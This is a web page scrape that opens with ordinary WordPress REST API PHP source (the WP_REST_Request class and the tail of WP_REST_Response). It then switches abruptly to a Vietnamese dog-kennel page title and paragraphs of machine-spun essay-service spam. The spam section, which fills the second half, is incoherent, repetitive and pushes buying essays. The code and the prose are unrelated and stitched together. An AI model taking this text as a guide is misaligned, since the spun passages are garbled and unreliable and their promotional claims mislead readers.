$this->links[ $rel ][] = array( 'href' => $href, 'attributes' => $attributes, ); } /** * Removes a link from the response. * * @since 4.4.0 * @access public * * @param string $rel Link relation. Either an IANA registered type, or an absolute URL. * @param string $href Optional. Only remove links for the relation matching the given href. * Default null. */ public function remove_link( $rel, $href = null ) { if ( ! isset( $this->links[ $rel ] ) ) { return; } if ( $href ) { $this->links[ $rel ] = wp_list_filter( $this->links[ $rel ], array( 'href' => $href ), 'NOT' ); } else { $this->links[ $rel ] = array(); } if ( ! $this->links[ $rel ] ) { unset( $this->links[ $rel ] ); } } /** * Adds multiple links to the response. * * Link data should be an associative array with link relation as the key. * The value can either be an associative array of link attributes * (including `href` with the URL for the response), or a list of these * associative arrays. * * @since 4.4.0 * @access public * * @param array $links Map of link relation to list of links. */ public function add_links( $links ) { foreach ( $links as $rel => $set ) { // If it's a single link, wrap with an array for consistent handling. if ( isset( $set['href'] ) ) { $set = array( $set ); } foreach ( $set as $attributes ) { $this->add_link( $rel, $attributes['href'], $attributes ); } } } /** * Retrieves links for the response. * * @since 4.4.0 * @access public * * @return array List of links. */ public function get_links() { return $this->links; } /** * Sets a single link header. * * @internal The $rel parameter is first, as this looks nicer when sending multiple. * * @since 4.4.0 * @access public * * @link https://tools.ietf.org/html/rfc5988 * @link https://www.iana.org/assignments/link-relations/link-relations.xml * * @param string $rel Link relation. Either an IANA registered type, or an absolute URL. * @param string $link Target IRI for the link. * @param array $other Optional. Other parameters to send, as an assocative array. * Default empty array. */ public function link_header( $rel, $link, $other = array() ) { $header = '<' . $link . '>; rel="' . $rel . '"'; foreach ( $other as $key => $value ) { if ( 'title' === $key ) { $value = '"' . $value . '"'; } $header .= '; ' . $key . '=' . $value; } $this->header( 'Link', $header, false ); } /** * Retrieves the route that was used. * * @since 4.4.0 * @access public * * @return string The matched route. */ public function get_matched_route() { return $this->matched_route; } /** * Sets the route (regex for path) that caused the response. * * @since 4.4.0 * @access public * * @param string $route Route name. */ public function set_matched_route( $route ) { $this->matched_route = $route; } /** * Retrieves the handler that was used to generate the response. * * @since 4.4.0 * @access public * * @return null|array The handler that was used to create the response. */ public function get_matched_handler() { return $this->matched_handler; } /** * Retrieves the handler that was responsible for generating the response. * * @since 4.4.0 * @access public * * @param array $handler The matched handler. */ public function set_matched_handler( $handler ) { $this->matched_handler = $handler; } /** * Checks if the response is an error, i.e. >= 400 response code. * * @since 4.4.0 * @access public * * @return bool Whether the response is an error. */ public function is_error() { return $this->get_status() >= 400; } /** * Retrieves a WP_Error object from the response. * * @since 4.4.0 * @access public * * @return WP_Error|null WP_Error or null on not an errored response. */ public function as_error() { if ( ! $this->is_error() ) { return null; } $error = new WP_Error; if ( is_array( $this->get_data() ) ) { $data = $this->get_data(); $error->add( $data['code'], $data['message'], $data['data'] ); if ( ! empty( $data['additional_errors'] ) ) { foreach( $data['additional_errors'] as $err ) { $error->add( $err['code'], $err['message'], $err['data'] ); } } } else { $error->add( $this->get_status(), '', array( 'status' => $this->get_status() ) ); } return $error; } /** * Retrieves the CURIEs (compact URIs) used for relations. * * @since 4.5.0 * @access public * * @return array Compact URIs. */ public function get_curies() { $curies = array( array( 'name' => 'wp', 'href' => 'https://api.w.org/{rel}', 'templated' => true, ), ); /** * Filters extra CURIEs available on API responses. * * CURIEs allow a shortened version of URI relations. This allows a more * usable form for custom relations than using the full URI. These work * similarly to how XML namespaces work. * * Registered CURIES need to specify a name and URI template. This will * automatically transform URI relations into their shortened version. * The shortened relation follows the format `{name}:{rel}`. `{rel}` in * the URI template will be replaced with the `{rel}` part of the * shortened relation. * * For example, a CURIE with name `example` and URI template * `http://w.org/{rel}` would transform a `http://w.org/term` relation * into `example:term`. * * Well-behaved clients should expand and normalise these back to their * full URI relation, however some naive clients may not resolve these * correctly, so adding new CURIEs may break backward compatibility. * * @since 4.5.0 * * @param array $additional Additional CURIEs to register with the API. */ $additional = apply_filters( 'rest_response_link_curies', array() ); return array_merge( $curies, $additional ); } } /** * REST API: WP_REST_Request class * * @package WordPress * @subpackage REST_API * @since 4.4.0 */ /** * Core class used to implement a REST request object. * * Contains data from the request, to be passed to the callback. * * Note: This implements ArrayAccess, and acts as an array of parameters when * used in that manner. It does not use ArrayObject (as we cannot rely on SPL), * so be aware it may have non-array behaviour in some cases. * * Note: When using features provided by ArrayAccess, be aware that WordPress deliberately * does not distinguish between arguments of the same name for different request methods. * For instance, in a request with `GET id=1` and `POST id=2`, `$request['id']` will equal * 2 (`POST`) not 1 (`GET`). For more precision between request methods, use * WP_REST_Request::get_body_params(), WP_REST_Request::get_url_params(), etc. * * @since 4.4.0 * * @see ArrayAccess */ class WP_REST_Request implements ArrayAccess { /** * HTTP method. * * @since 4.4.0 * @access protected * @var string */ protected $method = ''; /** * Parameters passed to the request. * * These typically come from the `$_GET`, `$_POST` and `$_FILES` * superglobals when being created from the global scope. * * @since 4.4.0 * @access protected * @var array Contains GET, POST and FILES keys mapping to arrays of data. */ protected $params; /** * HTTP headers for the request. * * @since 4.4.0 * @access protected * @var array Map of key to value. Key is always lowercase, as per HTTP specification. */ protected $headers = array(); /** * Body data. * * @since 4.4.0 * @access protected * @var string Binary data from the request. */ protected $body = null; /** * Route matched for the request. * * @since 4.4.0 * @access protected * @var string */ protected $route; /** * Attributes (options) for the route that was matched. * * This is the options array used when the route was registered, typically * containing the callback as well as the valid methods for the route. * * @since 4.4.0 * @access protected * @var array Attributes for the request. */ protected $attributes = array(); /** * Used to determine if the JSON data has been parsed yet. * * Allows lazy-parsing of JSON data where possible. * * @since 4.4.0 * @access protected * @var bool */ protected $parsed_json = false; /** * Used to determine if the body data has been parsed yet. * * @since 4.4.0 * @access protected * @var bool */ protected $parsed_body = false; /** * Constructor. * * @since 4.4.0 * @access public * * @param string $method Optional. Request method. Default empty. * @param string $route Optional. Request route. Default empty. * @param array $attributes Optional. Request attributes. Default empty array. */ public function __construct( $method = '', $route = '', $attributes = array() ) { $this->params = array( 'URL' => array(), 'GET' => array(), 'POST' => array(), 'FILES' => array(), // See parse_json_params. 'JSON' => null, 'defaults' => array(), ); $this->set_method( $method ); $this->set_route( $route ); $this->set_attributes( $attributes ); } /** * Retrieves the HTTP method for the request. * * @since 4.4.0 * @access public * * @return string HTTP method. */ public function get_method() { return $this->method; } /** * Sets HTTP method for the request. * * @since 4.4.0 * @access public * * @param string $method HTTP method. */ public function set_method( $method ) { $this->method = strtoupper( $method ); } /** * Retrieves all headers from the request. * * @since 4.4.0 * @access public * * @return array Map of key to value. Key is always lowercase, as per HTTP specification. */ public function get_headers() { return $this->headers; } /** * Canonicalizes the header name. * * Ensures that header names are always treated the same regardless of * source. Header names are always case insensitive. * * Note that we treat `-` (dashes) and `_` (underscores) as the same * character, as per header parsing rules in both Apache and nginx. * * @link http://stackoverflow.com/q/18185366 * @link http://wiki.nginx.org/Pitfalls#Missing_.28disappearing.29_HTTP_headers * @link https://nginx.org/en/docs/http/ngx_http_core_module.html#underscores_in_headers * * @since 4.4.0 * @access public * @static * * @param string $key Header name. * @return string Canonicalized name. */ public static function canonicalize_header_name( $key ) { $key = strtolower( $key ); $key = str_replace( '-', '_', $key ); return $key; } /** * Retrieves the given header from the request. * * If the header has multiple values, they will be concatenated with a comma * as per the HTTP specification. Be aware that some non-compliant headers * (notably cookie headers) cannot be joined this way. * * @since 4.4.0 * @access public * * @param string $key Header name, will be canonicalized to lowercase. * @return string|null String value if set, null otherwise. */ public function get_header( $key ) { $key = $this->canonicalize_header_name( $key ); if ( ! isset( $this->headers[ $key ] ) ) { return null; } return implode( ',', $this->headers[ $key ] ); } /** * Retrieves header values from the request. * * @since 4.4.0 * @access public * * @param string $key Header name, will be canonicalized to lowercase. * @return array|null List of string values if set, null otherwise. */ public function get_header_as_array( $key ) { $key = $this->canonicalize_header_name( $key ); if ( ! isset( $this->headers[ $key ] ) ) { return null; } return $this->headers[ $key ]; } /** * Sets the header on request. * * @since 4.4.0 * @access public * * @param string $key Header name. * @param string $value Header value, or list of values. */ public function set_header( $key, $value ) { $key = $this->canonicalize_header_name( $key ); $value = (array) $value; $this->headers[ $key ] = $value; } /** * Appends a header value for the given header. * * @since 4.4.0 * @access public * * @param string $key Header name. * @param string $value Header value, or list of values. */ public function add_header( $key, $value ) { $key = $this->canonicalize_header_name( $key ); $value = (array) $value; if ( ! isset( $this->headers[ $key ] ) ) { $this->headers[ $key ] = array(); } $this->headers[ $key ] = array_merge( $this->headers[ $key ], $value ); } /** * Removes all values for a header. * * @since 4.4.0 * @access public * * @param string $key Header name. */ public function remove_header( $key ) { $key = $this->canonicalize_header_name( $key ); unset( $this->headers[ $key ] ); } /** * Sets headers on the request. * * @since 4.4.0 * @access public * * @param array $headers Map of header name to value. * @param bool $override If true, replace the request's headers. Otherwise, merge with existing. */ public function set_headers( $headers, $override = true ) { if ( true === $override ) { $this->headers = array(); } foreach ( $headers as $key => $value ) { $this->set_header( $key, $value ); } } /** * Retrieves the content-type of the request. * * @since 4.4.0 * @access public * * @return array Map containing 'value' and 'parameters' keys. */ public function get_content_type() { $value = $this->get_header( 'content-type' ); if ( empty( $value ) ) { return null; } $parameters = ''; if ( strpos( $value, ';' ) ) { list( $value, $parameters ) = explode( ';', $value, 2 ); } $value = strtolower( $value ); if ( strpos( $value, '/' ) === false ) { return null; } // Parse type and subtype out. list( $type, $subtype ) = explode( '/', $value, 2 ); $data = compact( 'value', 'type', 'subtype', 'parameters' ); $data = array_map( 'trim', $data ); return $data; } /** * Retrieves the parameter priority order. * * Used when checking parameters in get_param(). * * @since 4.4.0 * @access protected * * @return array List of types to check, in order of priority. */ protected function get_parameter_order() { $order = array(); $content_type = $this->get_content_type(); if ( $content_type['value'] === 'application/json' ) { $order[] = 'JSON'; } $this->parse_json_params(); // Ensure we parse the body data. $body = $this->get_body(); if ( 'POST' !== $this->method && ! empty( $body ) ) { $this->parse_body_params(); } $accepts_body_data = array( 'POST', 'PUT', 'PATCH', 'DELETE' ); if ( in_array( $this->method, $accepts_body_data ) ) { $order[] = 'POST'; } $order[] = 'GET'; $order[] = 'URL'; $order[] = 'defaults'; /** * Filters the parameter order. * * The order affects which parameters are checked when using get_param() and family. * This acts similarly to PHP's `request_order` setting. * * @since 4.4.0 * * @param array $order { * An array of types to check, in order of priority. * * @param string $type The type to check. * } * @param WP_REST_Request $this The request object. */ return apply_filters( 'rest_request_parameter_order', $order, $this ); } /** * Retrieves a parameter from the request. * * @since 4.4.0 * @access public * * @param string $key Parameter name. * @return mixed|null Value if set, null otherwise. */ public function get_param( $key ) { $order = $this->get_parameter_order(); foreach ( $order as $type ) { // Determine if we have the parameter for this type. if ( isset( $this->params[ $type ][ $key ] ) ) { return $this->params[ $type ][ $key ]; } } return null; } /** * Sets a parameter on the request. * * @since 4.4.0 * @access public * * @param string $key Parameter name. * @param mixed $value Parameter value. */ public function set_param( $key, $value ) { $order = $this->get_parameter_order(); $this->params[ $order[0] ][ $key ] = $value; } /** * Retrieves merged parameters from the request. * * The equivalent of get_param(), but returns all parameters for the request. * Handles merging all the available values into a single array. * * @since 4.4.0 * @access public * * @return array Map of key to value. */ public function get_params() { $order = $this->get_parameter_order(); $order = array_reverse( $order, true ); $params = array(); foreach ( $order as $type ) { // array_merge / the "+" operator will mess up // numeric keys, so instead do a manual foreach. foreach ( (array) $this->params[ $type ] as $key => $value ) { $params[ $key ] = $value; } } return $params; } /** * Retrieves parameters from the route itself. * * These are parsed from the URL using the regex. * * @since 4.4.0 * @access public * * @return array Parameter map of key to value. */ public function get_url_params() { return $this->params['URL']; } /** * Sets parameters from the route. * * Typically, this is set after parsing the URL. * * @since 4.4.0 * @access public * * @param array $params Parameter map of key to value. */ public function set_url_params( $params ) { $this->params['URL'] = $params; } /** * Retrieves parameters from the query string. * * These are the parameters you'd typically find in `$_GET`. * * @since 4.4.0 * @access public * * @return array Parameter map of key to value */ public function get_query_params() { return $this->params['GET']; } /** * Sets parameters from the query string. * * Typically, this is set from `$_GET`. * * @since 4.4.0 * @access public * * @param array $params Parameter map of key to value. */ public function set_query_params( $params ) { $this->params['GET'] = $params; } /** * Retrieves parameters from the body. * * These are the parameters you'd typically find in `$_POST`. * * @since 4.4.0 * @access public * * @return array Parameter map of key to value. */ public function get_body_params() { return $this->params['POST']; } /** * Sets parameters from the body. * * Typically, this is set from `$_POST`. * * @since 4.4.0 * @access public * * @param array $params Parameter map of key to value. */ public function set_body_params( $params ) { $this->params['POST'] = $params; } /** * Retrieves multipart file parameters from the body. * * These are the parameters you'd typically find in `$_FILES`. * * @since 4.4.0 * @access public * * @return array Parameter map of key to value */ public function get_file_params() { return $this->params['FILES']; } /** * Sets multipart file parameters from the body. * * Typically, this is set from `$_FILES`. * * @since 4.4.0 * @access public * * @param array $params Parameter map of key to value. */ public function set_file_params( $params ) { $this->params['FILES'] = $params; } /** * Retrieves the default parameters. * * These are the parameters set in the route registration. * * @since 4.4.0 * @access public * * @return array Parameter map of key to value */ public function get_default_params() { return $this->params['defaults']; } /** * Sets default parameters. * * These are the parameters set in the route registration. * * @since 4.4.0 * @access public * * @param array $params Parameter map of key to value. */ public function set_default_params( $params ) { $this->params['defaults'] = $params; } /** * Retrieves the request body content. * * @since 4.4.0 * @access public * * @return string Binary data from the request body. */ public function get_body() { return $this->body; } /** * Sets body content. * * @since 4.4.0 * @access public * * @param string $data Binary data from the request body. */ public function set_body( $data ) { $this->body = $data; // Enable lazy parsing. $this->parsed_json = false; $this->parsed_body = false; $this->params['JSON'] = null; } /** * Retrieves the parameters from a JSON-formatted body. * * @since 4.4.0 * @access public * * @return array Parameter map of key to value. */ public function get_json_params() { // Ensure the parameters have been parsed out. $this->parse_json_params(); return $this->params['JSON']; } /** * Parses the JSON parameters. * * Avoids parsing the JSON data until we need to access it. * * @since 4.4.0 * @since 4.7.0 Returns error instance if value cannot be decoded. * @access protected * @return true|WP_Error True if the JSON data was passed or no JSON data was provided, WP_Error if invalid JSON was passed. */ protected function parse_json_params() { if ( $this->parsed_json ) { return true; } $this->parsed_json = true; // Check that we actually got JSON. $content_type = $this->get_content_type(); if ( empty( $content_type ) || 'application/json' !== $content_type['value'] ) { return true; } $body = $this->get_body(); if ( empty( $body ) ) { return true; } $params = json_decode( $body, true ); /* * Check for a parsing error. * * Note that due to WP's JSON compatibility functions, json_last_error * might not be defined: https://core.trac.wordpress.org/ticket/27799 */ if ( null === $params && ( ! function_exists( 'json_last_error' ) || JSON_ERROR_NONE !== json_last_error() ) ) { // Ensure subsequent calls receive error instance. $this->parsed_json = false; $error_data = array( 'status' => WP_Http::BAD_REQUEST, ); if ( function_exists( 'json_last_error' ) ) { $error_data['json_error_code'] = json_last_error(); $error_data['json_error_message'] = json_last_error_msg(); } return new WP_Error( 'rest_invalid_json', __( 'Invalid JSON body passed.' ), $error_data ); } $this->params['JSON'] = $params; return true; } /** * Parses the request body parameters. * * Parses out URL-encoded bodies for request methods that aren't supported * natively by PHP. In PHP 5.x, only POST has these parsed automatically. * * @since 4.4.0 * @access protected */ protected function parse_body_params() { if ( $this->parsed_body ) { return; } $this->parsed_body = true; /* * Check that we got URL-encoded. Treat a missing content-type as * URL-encoded for maximum compatibility. */ $content_type = $this->get_content_type(); if ( ! empty( $content_type ) && 'application/x-www-form-urlencoded' !== $content_type['value'] ) { return; } parse_str( $this->get_body(), $params ); /* * Amazingly, parse_str follows magic quote rules. Sigh. * * NOTE: Do not refactor to use `wp_unslash`. */ if ( get_magic_quotes_gpc() ) { $params = stripslashes_deep( $params ); } /* * Add to the POST parameters stored internally. If a user has already * set these manually (via `set_body_params`), don't override them. */ $this->params['POST'] = array_merge( $params, $this->params['POST'] ); } /** * Retrieves the route that matched the request. * * @since 4.4.0 * @access public * * @return string Route matching regex. */ public function get_route() { return $this->route; } /** * Sets the route that matched the request. * * @since 4.4.0 * @access public * * @param string $route Route matching regex. */ public function set_route( $route ) { $this->route = $route; } /** * Retrieves the attributes for the request. * * These are the options for the route that was matched. * * @since 4.4.0 * @access public * * @return array Attributes for the request. */ public function get_attributes() { return $this->attributes; } /** * Sets the attributes for the request. * * @since 4.4.0 * @access public * * @param array $attributes Attributes for the request. */ public function set_attributes( $attributes ) { $this->attributes = $attributes; } /** * Sanitizes (where possible) the params on the request. * * This is primarily based off the sanitize_callback param on each registered * argument. * * @since 4.4.0 * @access public * * @return true|WP_Error True if parameters were sanitized, WP_Error if an error occurred during sanitization. */ public function sanitize_params() { $attributes = $this->get_attributes(); // No arguments set, skip sanitizing. if ( empty( $attributes['args'] ) ) { return true; } $order = $this->get_parameter_order(); $invalid_params = array(); foreach ( $order as $type ) { if ( empty( $this->params[ $type ] ) ) { continue; } foreach ( $this->params[ $type ] as $key => $value ) { if ( ! isset( $attributes['args'][ $key ] ) ) { continue; } $param_args = $attributes['args'][ $key ]; // If the arg has a type but no sanitize_callback attribute, default to rest_parse_request_arg. if ( ! array_key_exists( 'sanitize_callback', $param_args ) && ! empty( $param_args['type'] ) ) { $param_args['sanitize_callback'] = 'rest_parse_request_arg'; } // If there's still no sanitize_callback, nothing to do here. if ( empty( $param_args['sanitize_callback'] ) ) { continue; } $sanitized_value = call_user_func( $param_args['sanitize_callback'], $value, $this, $key ); if ( is_wp_error( $sanitized_value ) ) { $invalid_params[ $key ] = $sanitized_value->get_error_message(); } else { $this->params[ $type ][ $key ] = $sanitized_value; } } } if ( $invalid_params ) { return new WP_Error( 'rest_invalid_param', sprintf( __( 'Invalid parameter(s): %s' ), implode( ', ', array_keys( $invalid_params ) ) ), array( 'status' => 400, 'params' => $invalid_params ) ); } return true; } /** * Checks whether this request is valid according to its attributes. * * @since 4.4.0 * @access public * * @return bool|WP_Error True if there are no parameters to validate or if all pass validation, * WP_Error if required parameters are missing. */ public function has_valid_params() { // If JSON data was passed, check for errors. $json_error = $this->parse_json_params(); if ( is_wp_error( $json_error ) ) { return $json_error; } $attributes = $this->get_attributes(); $required = array(); // No arguments set, skip validation. if ( empty( $attributes['args'] ) ) { return true; } foreach ( $attributes['args'] as $key => $arg ) { $param = $this->get_param( $key ); if ( isset( $arg['required'] ) && true === $arg['required'] && null === $param ) { $required[] = $key; } } if ( ! empty( $required ) ) { return new WP_Error( 'rest_missing_callback_param', sprintf( __( 'Missing parameter(s): %s' ), implode( ', ', $required ) ), array( 'status' => 400, 'params' => $required ) ); } /* * Check the validation callbacks for each registered arg. * * This is done after required checking as required checking is cheaper. */ $invalid_params = array(); foreach ( $attributes['args'] as $key => $arg ) { $param = $this->get_param( $key ); if ( null !== $param && ! empty( $arg['validate_callback'] ) ) { $valid_check = call_user_func( $arg['validate_callback'], $param, $this, $key ); if ( false === $valid_check ) { $invalid_params[ $key ] = __( 'Invalid parameter.' ); } if ( is_wp_error( $valid_check ) ) { $invalid_params[ $key ] = $valid_check->get_error_message(); } } } if ( $invalid_params ) { return new WP_Error( 'rest_invalid_param', sprintf( __( 'Invalid parameter(s): %s' ), implode( ', ', array_keys( $invalid_params ) ) ), array( 'status' => 400, 'params' => $invalid_params ) ); } return true; } /** * Checks if a parameter is set. * * @since 4.4.0 * @access public * * @param string $offset Parameter name. * @return bool Whether the parameter is set. */ public function offsetExists( $offset ) { $order = $this->get_parameter_order(); foreach ( $order as $type ) { if ( isset( $this->params[ $type ][ $offset ] ) ) { return true; } } return false; } /** * Retrieves a parameter from the request. * * @since 4.4.0 * @access public * * @param string $offset Parameter name. * @return mixed|null Value if set, null otherwise. */ public function offsetGet( $offset ) { return $this->get_param( $offset ); } /** * Sets a parameter on the request. * * @since 4.4.0 * @access public * * @param string $offset Parameter name. * @param mixed $value Parameter value. */ public function offsetSet( $offset, $value ) { $this->set_param( $offset, $value ); } /** * Removes a parameter from the request. * * @since 4.4.0 * @access public * * @param string $offset Parameter name. */ public function offsetUnset( $offset ) { $order = $this->get_parameter_order(); // Remove the offset from every group. foreach ( $order as $type ) { unset( $this->params[ $type ][ $offset ] ); } } /** * Retrieves a WP_REST_Request object from a full URL. * * @static * @since 4.5.0 * @access public * * @param string $url URL with protocol, domain, path and query args. * @return WP_REST_Request|false WP_REST_Request object on success, false on failure. */ public static function from_url( $url ) { $bits = parse_url( $url ); $query_params = array(); if ( ! empty( $bits['query'] ) ) { wp_parse_str( $bits['query'], $query_params ); } $api_root = rest_url(); if ( get_option( 'permalink_structure' ) && 0 === strpos( $url, $api_root ) ) { // Pretty permalinks on, and URL is under the API root. $api_url_part = substr( $url, strlen( untrailingslashit( $api_root ) ) ); $route = parse_url( $api_url_part, PHP_URL_PATH ); } elseif ( ! empty( $query_params['rest_route'] ) ) { // ?rest_route=... set directly $route = $query_params['rest_route']; unset( $query_params['rest_route'] ); } $request = false; if ( ! empty( $route ) ) { $request = new WP_REST_Request( 'GET', $route ); $request->set_query_params( $query_params ); } /** * Filters the request generated from a URL. * * @since 4.5.0 * * @param WP_REST_Request|false $request Generated request object, or false if URL * could not be parsed. * @param string $url URL the request was generated from. */ return apply_filters( 'rest_request_from_url', $request, $url ); } } The only and world wide web, basis of spectacular do the task is respectable! Costless Dreadful Part of Paper Samples, Examples and Topics! - Trại Chó Thiên Phúc - Chuyên cung cấp chó giống Rottweiler

The only and world wide web, basis of spectacular do the task is respectable! Costless Dreadful Part of Paper Samples, Examples and Topics!

Without charge Dreadful Aspect of Paper Samples, Examples and Topics! The best databases world wide web – Flourishing do the trick It is actually correct!

Tourism Lab Reports Samples. It really is not as demanding as other different types of paperwork but nonetheless, it could in fact deliver you an about the complete notion on developing supplying you creating an outline, and boosting. Element is important to developing a outstanding e book! Presently it may be narrowed down by you to definitely absolutely only one subject matter.

How to put in writing down a affluent on 100% Title. It is not going to totally advise that every 1 detail authored for the outline must to usually be part of the post. In almost any circumstance, anytime you want to receive a essentially good only one with the kind descriptive essay, it truly is definitely deserving of to acquire it at our on the web internet site, any time you will not likely anytime find the comparable essay with regard to the websites within the on the web planet in conjunction with your particulars will not likely anytime be disclosed to the third element..

You’re geared up to detect examples of one’s respective Admission / Application Humanitarian Essay Examples. Visualize what it truly is you are up vs . inside the celebration which you just are recommended to try out making undertaking essay by oneself. You take place being in search of to have an effect on your people nevertheless crafting a persuasive essay can undoubtedly be troublesome on account of you aren’t presenting the examine products and solutions you have gathered.

The Upside to magic Essay Topics and Samples

An analytical thesis features a crucial situation by acquiring a complete notion. Making serves for a instrument which might be reasonably highly effective. You may need to detect its formatting concepts while you are crafting an apa essay.

Use the outline identical into a map to ascertain although your essay is headed with all the precise route. It truly is made to be called a revealing start out on the lookout inside thoughts in addition to your sights.

Analyze every little thing you could have to craft all through the articles after which the way you need it for getting reacted to with the viewers. Whereby you might be possible aided because of the essay before you decide to choose to begin composing it, assure you find out.

The Ache of generate Essay Examples and Topics

The Possibility to Have the ability to compose a fantastic Guidebook. The author must be inside of a problem to look at by using the eyes of someone else at their unique personalized character or character. So viewers maintain the practical experience they know the individual you would possibly be composing about you’ve got to place in composing wonderful texts or simply the celebration you’ve participated in. The

Psychology Term Paper. It is not as demanding as other types of data files but nevertheless, it might give you an throughout notion on crafting featuring you performing a leading degree watch, and maximizing. Depth is crucial to crafting a unbelievable e-book! Promptly it’d be narrowed down by you to definitely undoubtedly a person material.

How to write down down a affluent on 100% Title. It would not truly signify that every a thing penned within the determine ought to to generally be part of the short article. In almost any scenario, for individuals who would like to get on your own a very excellent a single unique with the variety descriptive essay, its deserving of for getting it at our net web site, whenever you will never very likely anytime track down the comparable essay about the webpages from your the online as well as your particulars will not be likely to anytime be disclosed for that third part..

You’re able to detect examples in the Education Outline could extremely properly be courting.

It’s useful that a lot of higher education learners make introduction instantly soon after they’ve got composed the whole paper. University pupils are questioned for to compose a descriptive essay about mom. In almost any situation learners would most likely come to a decision on on any subject material they like. The correct method to Publish an Essay. Internet site website page figures are area in the finest rated right-hand corner on the paper. Expressing your self with posted textual content is thought to be a critical artwork. Folks manage to generate make tracks masterpieces and poems to share their thoughts. Generally, you might quite possibly efficiently find a excellent offer you of other web pages which have composed content material which describes folks, which could be designed utilization of for inspiration. Freeway mapping in the course of so, or maybe the way the reader is knowledgeable of what’s occurring. You won’t have sufficient time to spell out practically almost everything you’ve beloved some situation in ample depth to essentially ensure it is count, as statements are transient.

The Hid Major magic formula of Essay Samples and Topics

The Way so that you can Publish an Essay. With out a question, essay topics can fluctuate. When you’ve got to compose a non-public essay, you could have to come back again. A essay could possibly just be regarded as as among the many listing of most clear-cut even though involving essays.

How to jot down an impressive 100 Site. It is not intending to unquestionably essentially imply that each just one point really should for getting part of the write-up. In almost any scenario, in case you want to acquire a primarily realistic only one in the form descriptive write-up, it certainly is cost to acquire it at our website, whilst you isn’t really about to anytime find the equivalent essay to your online web pages over the on-line in conjunction with your similar facts is not really about to anytime be disclosed on your third component. By means of illustration, once your well-known subject material can be a local community of literature, you could converse with regards to your encounters with writers or with precise genres.

How to jot down an amazing College Essay. Essay examples for varsity are concerning the procedures to grasp the fundamentals of composing your very own individual, therefore you could get one of the most acceptable college essay samples from our answers! Also, you’ll want to obtain distinctive essay applying 1 certain of making remedies across the world-wide-web or maybe to inquire them for essay let. Generally simply because you aren’t just presenting the research provides you may have 19, producing a persuasive composition is usually problematic but you may be looking for to influence your viewers. This kind of essay’s building is related to many people it need to consist of an introduction, a significant ingredient at the same time for a summary. An extra put could be the four aspects which can be substantial have to be built-in by that it. Any 5 hundred phrase essay scenario in level would affirm an introduction with the essay clarify the current circumstance or must not aspect any opening statements.

What You don’t know About Essay Examples and Topics, or Paper Samples?

Use the outline very similar to some map to ascertain regardless of if your essay is headed within just the correct route. It’s a masterpiece that every college or university pupil must have the ability to create. This type of essay also need to be properly organized.

Show not demonstrate to, when composing a descriptive essay the crucial element rule you would possibly have to go with is referred to as’. You have to recent arguments. Commonly, the intention could possibly be for the duration of the preliminary sentence. Nearly anything I’ve been passionate about for my comprehensive life time is educating. You’ll have to ascertain with regards to the special about whom you might be about to basis the activity on in the event you have to compose a descriptive essay some individual then.

As described in the team abuse-reporting prepare, the most crucial aim of your respective teacher may be to create the report best suited. It is possible to get a large number of exclusive versions of educating essays which you can be questioned for to jot down in college or higher education. Are certainly the component any lesson, and it could possibly be the precise very same with technological innovation. The essay isn’t about tenting almost about the character of mom mother nature, but in nearly any regard. Some thoughts are thought to be harmful inner thoughts. One of the simplest ways to Compose a top quality Essay. You’ll be able to obtain a all right line amid the phrase choice that is amazing and an expression. You then definately is not going to be likely to be sure the top quality of labor, when maybe you might permit support preserve by your self pounds in the event you at any time decide on to use samples that materialize to get created available for absolutely nothing. Increase this predicament supports what you occur to get hoping to validate.